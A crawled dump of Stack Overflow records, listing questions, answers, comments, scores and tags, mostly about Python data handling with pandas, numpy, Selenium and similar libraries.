has body: I have the following code: import os import pandas as pd from pandas import ExcelWriter from pandas import ExcelFile fileName= input("Enter file name here (Case Sensitve) &gt; ") df = pd.read_excel(fileName +'.xlsx', sheetname=None, ignore_index=True) xl = pd.ExcelFile(fileName +'.xlsx') SystemCount= len(xl.sheet_names) df1 = pd.DataFrame([]) for y in range(1, int(SystemCount)+ 1): df = pd.read_excel(xl,'System ' + str(y)) df['System {0}'.format(y)] = "1" df1 = df1.append(df) df1 = df1.sort_values(['Email']) df = df1['Email'].value_counts() df1['Count'] = df1.groupby('Email')['Email'].transform('count') print(df1) Which prints something like this: Email System 1 System 2 System 3 System 4 Count test_1_@test.com NaN 1 NaN NaN 1 test_2_@test.com NaN NaN 1 NaN 3 test_2_@test.com 1 NaN NaN NaN 3 test_2_@test.com NaN NaN NaN 1 3 test_3_@test.com NaN 1 NaN NaN 1 test_4_@test.com NaN NaN 1 NaN 1 test_5_@test.com 1 NaN NaN NaN 3 test_5_@test.com NaN NaN 1 NaN 3 test_5_@test.com NaN NaN NaN 1 3 How do I combine this, so the email only shows once, with all marked systems? I would like the output to look like this: System1 System2 System3 System4 Count Email test_1_@test.com 0.0 1.0 0.0 0.0 1 test_2_@test.com 1.0 0.0 1.0 1.0 3 test_3_@test.com 0.0 1.0 0.0 0.0 1 test_4_@test.com 0.0 0.0 1.0 0.0 1 test_5_@test.com 1.0 0.0 1.0 1.0 3
possible better answer: http://stackoverflow.com/a/48792654
has answer: http://stackoverflow.com/a/48792708
has answer: http://stackoverflow.com/a/48792654
tagged with: dataframe
tagged with: rows
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84587495
score: 1
has comment: http://stackoverflow.com/comment/84587214
favorite count: 0
accepted answer: http://stackoverflow.com/a/48792708
type: Question
tagged with: pandas
tagged with: python
tagged with: python-3.x
has title: How to combine dataframe rows
upvote count: 2
answer count: 2

http://stackoverflow.com/q/48779094
has answer: http://stackoverflow.com/a/49398557
has comment: http://stackoverflow.com/comment/84559957
has comment: http://stackoverflow.com/comment/84560766
possible better answer: http://stackoverflow.com/a/48779226
accepted answer: http://stackoverflow.com/a/49398557
tagged with: pandas
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84559999
type: Question
has body: I am trying to read large dataset and replace some strings if the value matches a regex. I found the string using this: result = ds['pagePath'].str.extract( \ '^\/([^\?]*)\?[^\?]*Code=[^\?]*Reference').str.strip() It looks like it is working and extracts the text of the matching rows, but now I need to format ONLY to this value: result = '/NewUrl' + result_matching_column + '/somethingelse' What's the best way to do so?
answer count: 2
has title: How to apply regex to a column in pandas to find a value and then apply a function to this?
tagged with: python
tagged with: lambda
upvote count: 1
has answer: http://stackoverflow.com/a/48779226

http://stackoverflow.com/comment/84541232
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48749654
has text: @brunodesthuilliers thanks for pointing that out! This is my first time editing an answer based on feedback. Should I edit the code or add a note at the end?
score: 0

http://stackoverflow.com/comment/84440136
type: AnswerComment
comment on: http://stackoverflow.com/a/48720529
type: Comment
has text: Maybe this will help ?: http://bottlepy.org/docs/dev/tutorial.html#query-variables From this it seems u only need @route('/getlocation')
score: 0

http://stackoverflow.com/comment/84519787
type: Comment
type: QuestionComment
has text: So let me understand this: You want to select the best encoder between `LeaveOneOutEncoder` and `BinaryEncoder` (other parts of mapper1 and mapper2 are exact same). If yes, then yes you can do it inside a grid-search with pipeline.
comment on: http://stackoverflow.com/q/48703245
score: 0

http://stackoverflow.com/a/52294772
score: 0
answers question: http://stackoverflow.com/q/48759546
type: Answer
has body: It seems that this is an issue with type='json' controller endpoints, because when the Content-Type of the request is application/json the request stream is parsed and consumed by Odoo and is no longer available within the controller method. This issue has already been reported on Odoo issue tracker, there appears to be no 100% solution yet, however.

http://stackoverflow.com/a/51831928
score: 274
has comment: http://stackoverflow.com/comment/115613927
has comment: http://stackoverflow.com/comment/117400972
type: Answer
has comment: http://stackoverflow.com/comment/125830073
has body: The latest requirements for running TensorFlow are documented in the installation documentation. TensorFlow only supports 64-bit Python TensorFlow only supports certain versions of Python (for example, Python 3.6 is not supported) So, if you're using an out-of-range version of Python (older or newer) or a 32-bit version, then you'll need to use a different version.
has comment: http://stackoverflow.com/comment/101587451
has comment: http://stackoverflow.com/comment/126653216
accepted answer of: http://stackoverflow.com/q/48720833
answers question: http://stackoverflow.com/q/48720833
downvote count: 7
has comment: http://stackoverflow.com/comment/118647058
has comment: http://stackoverflow.com/comment/96041052
has comment: http://stackoverflow.com/comment/91073614
has comment: http://stackoverflow.com/comment/116573557
has comment: http://stackoverflow.com/comment/116831966
has comment: http://stackoverflow.com/comment/103182462
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/107539910
has comment: http://stackoverflow.com/comment/91075382
upvote count: 281

http://stackoverflow.com/q/48734715
has comment: http://stackoverflow.com/comment/84468601
possible better answer: http://stackoverflow.com/a/48734797
has answer: http://stackoverflow.com/a/48734780
downvote count: 3
type: Question
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/84468671
tagged with: function
has comment: http://stackoverflow.com/comment/84468597
accepted answer: http://stackoverflow.com/a/48734780
tagged with: python
has comment: http://stackoverflow.com/comment/84468695
favorite count: 0
has title: Using functions to create a new list in PYTHON
score: -3
has answer: http://stackoverflow.com/a/48734797
has body: I have a list of 30 integers (GRADES[30]) from 0-100.I need to create a new list of 30 integers (NEW[30]) in a function, that has the same integers of GRADES[30] + 3 except those that have the value of 97(because it would exceed 0-100).Can someone help me on how to do it?For example if GRADES[5]=57, NEW[5] must be 60.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84468643

http://stackoverflow.com/comment/84443256
type: AnswerComment
comment on: http://stackoverflow.com/a/48721779
type: Comment
has text: (Decimal('28.633300'),)
score: 0

http://stackoverflow.com/comment/84385296
comment on: http://stackoverflow.com/q/48680012
type: Comment
type: QuestionComment
has text: To clarify, @Sraw, `pipenv` is only installed in a virtualenv. I don't want to install it in my system Python. I can't deactivate my current virtualenv, because that's where `pipenv` is installed.
score: 0

http://stackoverflow.com/q/48773970
has comment: http://stackoverflow.com/comment/84591996
tagged with: excel
type: Question
tagged with: smartsheet-api
has answer: http://stackoverflow.com/a/48814402
has comment: http://stackoverflow.com/comment/84593241
has title: Copy cell images from Smartsheet using Python
score: 0
answer count: 2
has body: I am trying to make a copy of smart sheet data on my local disk. I am able to copy all the smart sheet data except for the cell images. Below is the code am using. This code works perfectly fine to copy the data but not the cell images NOTE: I am not trying to copy the attachments from smart sheets; only the cell the images and data. Could someone help me to enhance this code to copy the cell images as well? import json import os import requests import time token = "Bearer &lt;TOken&gt;" backed_up_sheets = {"Attach": 86960044478894,"test2":6659760455684} dir = r'C:\Users\\me\SmartSheetsBackup\WorkSheet' + time.strftime("-%m_%d_%Y_%H_%M") API_URL = "https://api.smartsheet.com/2.0/sheets/" payload = {"Authorization": token, "Accept": "application/vnd.ms-excel,image/*"} amount = len(backed_up_sheets) i = 1 for el in backed_up_sheets: r = requests.get(API_URL + str(backed_up_sheets[el]) , headers=payload) if r.status_code != 200: print ('Some problem with connections please retry later0') pass if not os.path.exists(dir): os.makedirs(dir) with open(dir + el + time.strftime("-%m_%d_%Y_%H_%M") + ".xlsx", 'wb') as output: output.write(r.content) print ('Progress in sheets: ' + str(i) + '/' + str(amount)) i += 1
has answer: http://stackoverflow.com/a/48934440
has comment: http://stackoverflow.com/comment/84587170
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/48777945
score: 0
has body: is this what you are after? df.loc[df.Speed&gt;10, 'No. Plate'].tolist()
type: Answer
answers question: http://stackoverflow.com/q/48777854

http://stackoverflow.com/q/48675902
accepted answer: http://stackoverflow.com/a/48676009
tagged with: python
answer count: 4
has comment: http://stackoverflow.com/comment/84368414
has body: I have an array of base 3 numbers expressed as strings: ['1', '2', '10'] I want to 0 pad each number such that the max spaces taken up by each is three. ['001', '002', '010'] And then convert it to a matrix which is the following: [[0, 0, 0], [0, 0, 1], [1, 2, 0]] That is, to convert each string entry into a column vector. I've tried rotation, transpose, and not sure what the best way to do this is. Thanks
type: AnsweredQuestion
upvote count: 3
has comment: http://stackoverflow.com/comment/84350877
type: Question
score: 3
has comment: http://stackoverflow.com/comment/84350278
has answer: http://stackoverflow.com/a/48676009
has answer: http://stackoverflow.com/a/48676602
tagged with: numpy
possible better answer: http://stackoverflow.com/a/48675986
has answer: http://stackoverflow.com/a/48676893
tagged with: matrix
has title: Turning flat array values into column vectors
has answer: http://stackoverflow.com/a/48675986
tagged with: arrays
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84350846

http://stackoverflow.com/comment/84466285
type: AnswerComment
has text: @MarkDickinson: Good point, I deleted that part of the answer.
comment on: http://stackoverflow.com/a/48732559
type: Comment
score: 0

http://stackoverflow.com/comment/84299307
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48650596
type: Comment
has text: There is a lot of discussion [here](https://stackoverflow.com/questions/7204805/dictionaries-of-dictionaries-merge). I won't vote to close because you asked for a "clean" way.

http://stackoverflow.com/comment/84436611
comment on: http://stackoverflow.com/q/48718675
has text: It failed. I tried this: Places.query.filter(loc_amsterdam.in_(loc_company)) . The in_ operator
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84303622
comment on: http://stackoverflow.com/q/48652050
score: 0
type: Comment
type: QuestionComment
has text: no, I did cleanup the target folder and reran the job. that didn't help.

http://stackoverflow.com/q/48740908
downvote count: 0
has comment: http://stackoverflow.com/comment/84482580
has comment: http://stackoverflow.com/comment/84481583
has comment: http://stackoverflow.com/comment/84482393
type: Question
accepted answer: http://stackoverflow.com/a/48741780
score: 3
has comment: http://stackoverflow.com/comment/84482544
tagged with: join
has answer: http://stackoverflow.com/a/48741780
upvote count: 3
has title: how to merge 2 datasets under complex conditions by pandas
tagged with: pandas
answer count: 1
has body: I am trying to merge two datasets by using pandas. this is master dataset: id num1 num2 0 5 8 1 2 9 2 8 7 3 9 6 this is another one: id2 num1_min num1_max num2_min num2_max 0 1 3 8 10 1 3 6 6 10 2 7 9 6 9 the output that I expect: id num1 num2 id2 0 5 8 1 1 2 9 0 2 8 7 2 3 9 6 2 I want to give id2 to the master. At that time, I want to left join them under the condition that the value of num1 is between num1_min / max and the value of num2 is between num2_min / max. Master dataset has only one id2 or null. So id2 will not be joined in duplicate. Please advise me.
favorite count: 0
has comment: http://stackoverflow.com/comment/84482423
tagged with: python
tagged with: merge
type: AnsweredQuestion

python-requests
tags question: http://stackoverflow.com/q/48663957
tags question: http://stackoverflow.com/q/48733378
tags question: http://stackoverflow.com/q/48686297
tags question: http://stackoverflow.com/q/48794472
tags question: http://stackoverflow.com/q/48687857
tags question: http://stackoverflow.com/q/48663478
type: Tag
tags question: http://stackoverflow.com/q/48745678
tags question: http://stackoverflow.com/q/48783237
tags question: http://stackoverflow.com/q/48651888
tags question: http://stackoverflow.com/q/48662631
tags question: http://stackoverflow.com/q/48767143
tags question: http://stackoverflow.com/q/48780347
tags question: http://stackoverflow.com/q/48676069
tags question: http://stackoverflow.com/q/48781622
tags question: http://stackoverflow.com/q/48709286
tags question: http://stackoverflow.com/q/48711996
tags question: http://stackoverflow.com/q/48725098
tags question: http://stackoverflow.com/q/48730351
tags question: http://stackoverflow.com/q/48774114
tags question: http://stackoverflow.com/q/48693687
tags question: http://stackoverflow.com/q/48738988
tags question: http://stackoverflow.com/q/48793799
tags question: http://stackoverflow.com/q/48693388
tags question: http://stackoverflow.com/q/48766846
tags question: http://stackoverflow.com/q/48715409
tags question: http://stackoverflow.com/q/48724038
tags question: http://stackoverflow.com/q/48772508
tags question: http://stackoverflow.com/q/48679369
tags question: http://stackoverflow.com/q/48730631
tags question: http://stackoverflow.com/q/48721276
tags question: http://stackoverflow.com/q/48674485
tags question: http://stackoverflow.com/q/48796344
tags question: http://stackoverflow.com/q/48705171
tags question: http://stackoverflow.com/q/48739840
tags question: http://stackoverflow.com/q/48787968
tags question: http://stackoverflow.com/q/48732506
tags question: http://stackoverflow.com/q/48677978
tags question: http://stackoverflow.com/q/48694965
tags question: http://stackoverflow.com/q/48756918
tags question: http://stackoverflow.com/q/48738954
tags question: http://stackoverflow.com/q/48721295
tags question: http://stackoverflow.com/q/48775755
tags question: http://stackoverflow.com/q/48646319
tags question: http://stackoverflow.com/q/48787207
tags question: http://stackoverflow.com/q/48652721
tags question: http://stackoverflow.com/q/48708857
tags question: http://stackoverflow.com/q/48718692
tags question: http://stackoverflow.com/q/48723711
tag name: python-requests
tags question: http://stackoverflow.com/q/48736801
tags question: http://stackoverflow.com/q/48722240
tags question: http://stackoverflow.com/q/48673359
tags question: http://stackoverflow.com/q/48709720
tags question: http://stackoverflow.com/q/48774310
tags question: http://stackoverflow.com/q/48672245
tags question: http://stackoverflow.com/q/48774842
tags question: http://stackoverflow.com/q/48753563
tags question: http://stackoverflow.com/q/48791788
tags question: http://stackoverflow.com/q/48745899
tags question: http://stackoverflow.com/q/48803223
tags question: http://stackoverflow.com/q/48688726
tags question: http://stackoverflow.com/q/48736714
tags question: http://stackoverflow.com/q/48727818
tags question: http://stackoverflow.com/q/48693825

http://stackoverflow.com/q/48755071
tagged with: python-2.6
tagged with: linux
has comment: http://stackoverflow.com/comment/84511007
tagged with: argparse
tagged with: python
has comment: http://stackoverflow.com/comment/84511187
type: AnsweredQuestion
has body: How to call a function using optparse? I do not want to use argparse. Here is my code: from optparse import OptionParser def print_stuff(): a = "Hello Word" print a parser = OptionParser() parser.add_option("-c", action = "callback", callback = print_stuff() ) (options, args) = parser.parse_args() But it shows me an error: optparse.OptionError: option -c: callback not callable: None What to do? What if I wanted to do: from optparse import OptionParser def print_stuff(a): a = "Hello Word" return a parser = OptionParser() parser.add_option("-c", action = "callback", callback = print_stuff() ) (options, args) = parser.parse_args()
tagged with: optparse
has title: Use optparse to call a function
type: Question
score: 0
has answer: http://stackoverflow.com/a/48755094
accepted answer: http://stackoverflow.com/a/48755094
answer count: 1

http://stackoverflow.com/comment/84561723
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48779323
has text: you do not need to import pynacl, import command prompt and type ffmpeg, what happens?
score: 0

http://stackoverflow.com/comment/84380766
has text: The problem is that your data doesn't look like anything that can be converted to CoordinateMatrix.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48687892

http://stackoverflow.com/comment/84293456
type: Comment
comment on: http://stackoverflow.com/q/48647985
score: 9
type: QuestionComment
has text: assign `PagesList = GetCleanLinks(Startup)`, you have 2 separate variables, one global (empty, remove it at start) and one local.

http://stackoverflow.com/comment/84486416
type: QuestionComment
has text: @PerlPingu Yes, thats what Im struggling with. What should I do ?
comment on: http://stackoverflow.com/q/48742141
score: 0
type: Comment

nexus
type: Tag
tag name: nexus
tags question: http://stackoverflow.com/q/48748854

http://stackoverflow.com/a/48684235
type: Answer
has body: I propose you this way : import os seasons = [ (s1_path, episodes_s1), (s2_path, episodes_s2), (s3_path, episodes_s3) ] if season in range(0, len(seasons)): if episode_num in range(0, len(seasons[season][1])): # seasons[season][1]) is the seasons episodes # Create path via os.path.join, better way episode_path = os.path.join(seasons[season][0], seasons[season][1][episode_num - 1]) subprocess.Popen([player_path, episode_path])
answers question: http://stackoverflow.com/q/48683860
score: 0

http://stackoverflow.com/q/48773799
has body: i got a file like this: a;a_desc b;b_desc c; d ; e;e_desc What i want is: read line by line remove new line character skip empty lines if there is a string before the semicolon but not after, use the string before twice if there is a string but no semicolon, use the string twice return a list That's want i want to get: [['a', 'a_desc'], ['b', 'b_desc'], ['c', 'c'], ['d', 'd'], ['e', 'e_desc']] What i already got: filename = 'data.txt' with open(filename, 'r') as f: x = [line.rstrip('\n') for line in f.readlines() if not line.isspace()] xx = [line.split(';') for line in x] content = [line for line in xx if line[0]] print(content) That will give me: [['a', 'a_desc'], ['b', 'b_desc'], ['c', ''], ['d'], ['e', 'e_desc']] I could probably create more loops, to catch the c and the d line right. But is there a shorter way instead of all the loops? Thanks!
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48773934
answer count: 3
has comment: http://stackoverflow.com/comment/84549868
downvote count: 0
accepted answer: http://stackoverflow.com/a/48773934
favorite count: 0
has answer: http://stackoverflow.com/a/48774320
tagged with: python-3.x
tagged with: python
has title: Read file line by line, split its content, skip empty lines
score: 2
has answer: http://stackoverflow.com/a/48774220
upvote count: 2
possible better answer: http://stackoverflow.com/a/48774220
has comment: http://stackoverflow.com/comment/84549688
type: Question

http://stackoverflow.com/a/64572244
score: 0
type: Answer
has body: to gather some data frame in single text file do: whole_curpos = '' #read every dataframe for df in dataframe_list: #gather all the column in a single column df['whole_text'] = df[col0].astype(str)+df[col1]+...+df[coln] for row in range(df.shape[0]): whole_curpos = whole_curpos + df['whole_text'].iloc[row] whole_curpos = whole_curpos + '\n'
answers question: http://stackoverflow.com/q/48670877

http://stackoverflow.com/comment/112540679
comment on: http://stackoverflow.com/a/63640293
type: AnswerComment
has text: Can you be more clear on where this code should be incorporated. Is this replacing an existing code or is this in addition to an existing code. Also, I would recommend you read how to write a good [answer.](https://stackoverflow.com/help/how-to-answer)
score: 0
type: Comment

http://stackoverflow.com/q/48744279
upvote count: 2
tagged with: python
accepted answer: http://stackoverflow.com/a/48744439
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84488689
type: Question
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84489074
has title: TypeError: cannot perform reduce with flexible type (list of lists of string)
has answer: http://stackoverflow.com/a/48744439
has body: I have a list r and a list l r = get_r() l = [['a', 'b'], ['a'], ['c']] print('-') [print(type(el)) for el in l]; print('-') [print(type(el)) for el in r]; will give us - &lt;class 'list'&gt; &lt;class 'list'&gt; &lt;class 'list'&gt; - &lt;class 'list'&gt; &lt;class 'list'&gt; &lt;class 'list'&gt; So let's print r and l print(l) print(r) will give us [['a', 'b'], ['a'], ['c']] [['Schadenersatzrecht'], ['Abgabenrecht, Finanzrecht und Steuerrecht; Verfahrensrecht'], ['Europarecht']] But now as I np.sum those lists up: np.sum(l) np.sum(r) I get: ['a', 'b', 'a', 'c'] but also: --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-158-0d0bce575128&gt; in &lt;module&gt;() ----&gt; 1 np.sum(r) ~/miniconda3/lib/python3.6/site-packages/numpy/core/fromnumeric.py in sum(a, axis, dtype, out, keepdims) 1832 return sum(axis=axis, dtype=dtype, out=out, **kwargs) 1833 return _methods._sum(a, axis=axis, dtype=dtype, -&gt; 1834 out=out, **kwargs) 1835 1836 ~/miniconda3/lib/python3.6/site-packages/numpy/core/_methods.py in _sum(a, axis, dtype, out, keepdims) 30 31 def _sum(a, axis=None, dtype=None, out=None, keepdims=False): ---&gt; 32 return umr_sum(a, axis, dtype, out, keepdims) 33 34 def _prod(a, axis=None, dtype=None, out=None, keepdims=False): TypeError: cannot perform reduce with flexible type I totally not understand what the problem is. Even printing the type in the lists of the elements in those lists [print(type(el[0])) for el in r]; will give me &lt;class 'str'&gt; as a result. The types are identical - at least from what I can tell yet np.sum won't work on r. I am not sure if one can tell what the issue is from what you can see here. The only information I can provide in addition is that r comes from a parsed JSON - however, I don't see why this would affect the outcome.
answer count: 1
favorite count: 0

http://stackoverflow.com/q/48778160
answer count: 2
has answer: http://stackoverflow.com/a/48778239
tagged with: data-science
upvote count: 2
has body: I have 2 data frames that I want to merge/combine based on a condition. Let's say these are two dfs. df1 name tpye option store a 2 8 0 b 4 9 8 c 3 6 2 g 3 2 7 k 1 6 2 m 3 6 5 df2 name red green yellow a r g y b r g y m r g y What I am trying to do if df2['name'] value exist in df1['name'], add the red, green columns to final_df . So the final_df would like name tpye option store red green yellow a 2 8 0 r g y b 4 9 8 r g y c 3 6 2 g 3 2 7 k 1 6 2 m 3 6 5 r g y
tagged with: pandas
favorite count: 0
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48782291
has title: Combine Pandas Data Frame if Values Match in a Columns
has comment: http://stackoverflow.com/comment/84558003
score: 2
downvote count: 0
tagged with: dataframe
type: Question

http://stackoverflow.com/q/48774637
has comment: http://stackoverflow.com/comment/84550988
has comment: http://stackoverflow.com/comment/84550987
accepted answer: http://stackoverflow.com/a/48774803
has comment: http://stackoverflow.com/comment/84578555
tagged with: python
has title: elements in list according to truth value of three way condition
downvote count: 1
has answer: http://stackoverflow.com/a/48774835
type: AnsweredQuestion
tagged with: conditional-statements
tagged with: list
has comment: http://stackoverflow.com/comment/84552448
has body: If I have a list L L = [0,1,2,3,4,5,6,7,8,9] and I have a list of truth values T T = [1,0,1,0,1,0,1,0,1,0] I can access the elements in L that correspond to values in T. For example L[T == 1] = [0,2,4,6,8] L[T == 0] = [1,3,5,7,9] My problem is this: I have two truth lists T1 and T2, say: T1 = [0,0,1,0,0,1,0,0,1,0] T2 = [1,0,1,0,1,0,1,0,1,0] I want the the elements in L that would be accessed by L[T1 == T2 == 1] = [2,8] or put another way L[T1 == 1 and T2 == 1] = [2,8] This triple condition doesn't seem to work for accessing elements in a list. How can I achieve the same result?
possible better answer: http://stackoverflow.com/a/48774835
score: -1
type: Question
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/48774803
favorite count: 0

http://stackoverflow.com/q/48794101
score: -1
has body: I'm trying to plot a series of IP addresses within a scatter plot and then label them based on their 'detections' which are either 0 or greater than 0. Although this plot does get generated, it colours all points the same, rather than separating them by the label of malicious, any help is much appreciated! df = pd.io.sql.read_sql('SELECT Date_scanned, IP, Detections FROM URLs', con=conn) df['Date_scanned']=df['Date_scanned'].str.split(" ").str[0] detections = df['Detections'].values for row in df: for x in detections: if x &gt; 0: malicious = "Yes" else: malicious = "No" plt.scatter(df['Date_scanned'], df['IP'], label=malicious) plt.legend(loc='best') plt.show()
type: Question
has title: Matplotlib scatter plot label not distinguishing points
upvote count: 0
accepted answer: http://stackoverflow.com/a/48794821
tagged with: scatter-plot
tagged with: pandas
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84591787
tagged with: python
downvote count: 1
has answer: http://stackoverflow.com/a/48794821
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/20109391
tagged with: matplotlib

http://stackoverflow.com/comment/84489374
comment on: http://stackoverflow.com/a/48744717
type: Comment
has text: Why create the list simultaneously? Just call `list` on `seen` at the end (if OP even really needs to)?
score: 0
type: AnswerComment

http://stackoverflow.com/q/48698633
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python
has body: I am trying to go to the drought monitor website and tell it to select to show county data. I am able to get my code to navigate to the website, and it clicks the dropdown, but I cannot get it to type in "county". My code gets to the last line and then give the error: "Cannot focus element". Any help would be greatly appreciated as I'm very new to Selenium. from selenium import webdriver from selenium.webdriver.support.ui import Select from selenium.webdriver.common.keys import Keys browser = webdriver.Chrome() browser.get('http://droughtmonitor.unl.edu/Data/DataDownload/ComprehensiveStatistics.aspx') browser.maximize_window() dropdown = browser.find_element_by_xpath("""//* [@id="dnn_ctr1009_USDMservice_CompStats_2017_aoiType_chosen"]""") dropdown.click() dropdown.send_keys('county') dropdown.submit() print("I'm done")
tagged with: selenium-chromedriver
accepted answer: http://stackoverflow.com/a/48698955
upvote count: 3
tagged with: selenium
linked to: http://stackoverflow.com/q/3656467
has title: Cannot focus on element - Selenium, Chrome, Python
type: AnsweredQuestion
score: 3
type: Question
has answer: http://stackoverflow.com/a/48698955

http://stackoverflow.com/a/48714167
upvote count: 1
answers question: http://stackoverflow.com/q/48706280
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48706280
score: 1
has body: If you just need a quick solution without vector math and Pymel or the the API, you can use cmds.polySelectConstraint to find the faces aligned with a normal. All you need to do is select all the faces, then use the constraint to get only the ones pointing the right way. This will select all the faces in a mesh that are pointing along a given axis: import maya.cmds as cmds def select_faces_by_axis (mesh, axis = (0,1,0), tolerance = 45): cmds.select(mesh + ".f[*]") cmds.polySelectConstraint(mode = 3, type = 8, orient = 2, orientaxis = axis, orientbound = (0, tolerance)) cmds.polySelectConstraint(dis=True) # remember to turn constraint off! The axis is the x,y,z axis you want and tolerance is the slop in degrees you'll tolerate. To get the downward faces you'd do select_faces_by_axis ('your_mesh_here', (0,0,-1)) or select_faces_by_axis ('your_mesh_here', (0,0,-1), 1) # this would get faces only within 1 degree of downard This method has the advantage of operating mostly in Maya's C++, it's going to be faster than python-based methods that loop over all the faces in a mesh.

http://stackoverflow.com/q/48698131
tagged with: python
tagged with: lambda
has answer: http://stackoverflow.com/a/48698197
has comment: http://stackoverflow.com/comment/84395074
type: Question
tagged with: class
score: 0
answer count: 1
has body: What does the following code do? network_optimizer_ctor=lambda: hrl.network.LocalOptimizer(tf.train.AdamOptimizer(1e-3), grad_clip=10.0), here hrl.network.LocalOptimizer is a class name
has title: Python's lambda followed by a class?
type: UnansweredQuestion

http://stackoverflow.com/comment/84328245
has text: hey khelwood, I was not unable to execute function call after iteration. I was missing () still as suggested by deceze below.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48665128
type: QuestionComment

http://stackoverflow.com/a/48711905
accepted answer of: http://stackoverflow.com/q/48679740
type: Answer
answers question: http://stackoverflow.com/q/48679740
has body: Eventually, I got the solution by talking to some guru of Python: I need to call PyEval_InitThreads() and wrap the code which creating non-Python threads with Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS.
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/84558439
type: Comment
comment on: http://stackoverflow.com/q/48778299
score: 0
has text: @Ryan How many characters should I limit? any suggestion? :)
type: QuestionComment

http://stackoverflow.com/comment/84555480
has text: Thanks. Unfortunately, not really. I've done something like that before: Fetch all URL's at once and that's it. However, my challenge now is the following: After each successful download, I want to add the respective URL back to the queue - to be due after a specified waiting time (10 s in the example in my question). As soon, as it is due, I want to download the website again, add the URL back to the queue etc.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48773329
score: 0

http://stackoverflow.com/a/78454270
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48782758
has body: either marked answer or code itself behaves strange when check: import numpy as np import pandas as pd from scipy.special import expit ##e=0.2 def Sigmoid(z): return expit(-z) def Hypothesis(theta, X): return Sigmoid(X @ theta) def Cost_Function(X,Y,theta,m): hi = Hypothesis(theta, X) _y = Y.reshape(-1, 1) J = 1/m * np.sum(-_y * np.log(hi) - (1-_y) * np.log(1-hi)) ## J = J + e * np.sum(abs(theta)) return J def Cost_Function_Derivative(X,Y,theta,m): h = Hypothesis(theta,X) _y = Y.reshape(-1, 1) J = 1/m * X.T @ (h - _y) ## J = J + alpha * e * (theta >= 0).astype(float) return J def Gradient_Descent(X,Y,theta,m,alpha): new_theta = theta - alpha * Cost_Function_Derivative(X,Y,theta,m) return new_theta def Accuracy(theta): correct = 0 length = len(X_test) prediction = (Hypothesis(theta, X_test) > 0.5) _y = y_test.reshape(-1, 1) correct = prediction == _y my_accuracy = (np.sum(correct) / length)*100 print ('hand-maded LR Accuracy: ', my_accuracy, "%") def Logistic_Regression(X,Y,alpha,theta,num_iters): m = len(Y) for x in range(num_iters): new_theta = Gradient_Descent(X,Y,theta,m,alpha) # update theta = new_theta if x % 100 == 0: print #('theta: ', theta) print #('cost: ', Cost_Function(X,Y,theta,m)) print(Accuracy(theta)) ep = .02 ########## sklearn from sklearn.datasets import make_blobs from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.metrics import accuracy_score X, y = make_blobs(1000, n_features=2, centers=2, random_state=0) X_train, X_test, y_train, y_test = train_test_split( X, y, test_size=0.33, random_state=42 ) # fit(X_train) sc = StandardScaler() sc.fit(X) X = sc.transform(X) from sklearn.linear_model import LogisticRegression model_lr = LogisticRegression( C=ep, penalty="l1", tol=0.01, solver="saga", random_state=10) model_lr.fit(X_train, y_train) # predict(X_test) y_pred_lr = model_lr.predict(X_test) print("sklearn Accuracy Score: ", accuracy_score(y_pred_lr, y_test)*100) ########### hand-made…

http://stackoverflow.com/comment/84352435
has text: Ahh okay I'll try that and let you know. Thanks!
type: Comment
comment on: http://stackoverflow.com/a/48677019
score: 0
type: AnswerComment

http://stackoverflow.com/a/48798061
has comment: http://stackoverflow.com/comment/84599047
has comment: http://stackoverflow.com/comment/84598880
type: Answer
has body: I wouldn't call python script with os.system. There is basically one function which you need to use: main(sys.argv[1:]) https://github.com/voussoir/timesearch/blob/master/timesearch/__init__.py#L435.
answers question: http://stackoverflow.com/q/48797972
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48797972
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/48786875
type: UnansweredQuestion
tagged with: api
has title: Iterating on HTTP API data from source
type: Question
tagged with: python
score: 0
tagged with: java
answer count: 1
tagged with: http
has answer: http://stackoverflow.com/a/48788129
has body: I am reading data from HTTP API using python urllib as follows: response = urllib.request.urlopen(url) stations = json.loads(response.read().decode()) for station in stations: producer.send("test", json.dumps(station).encode()) Something I notice is that data is first converted to Bytes type when applying read function. Then, it's stored in a list (stations) which I'll be iterating on. Since I'm dealing with very large HTTP responses, I would need to iterate over data directly from the HTTP API without storing it intermediately in my disk or RAM. Would it be possible to deal with this need in Python? I would also want to know if this Java sample code can resolve my issue : import java.net.*; import java.io.*; public class URLConnectionReader { public static void main(String[] args) throws Exception { URL oracle = new URL(url); URLConnection yc = oracle.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) producer.send("test", inputLine) in.close(); } } Any help would really be appreciated.

flask-cache
type: Tag
tags question: http://stackoverflow.com/q/48658939
tag name: flask-cache

http://stackoverflow.com/comment/84610591
type: Comment
type: QuestionComment
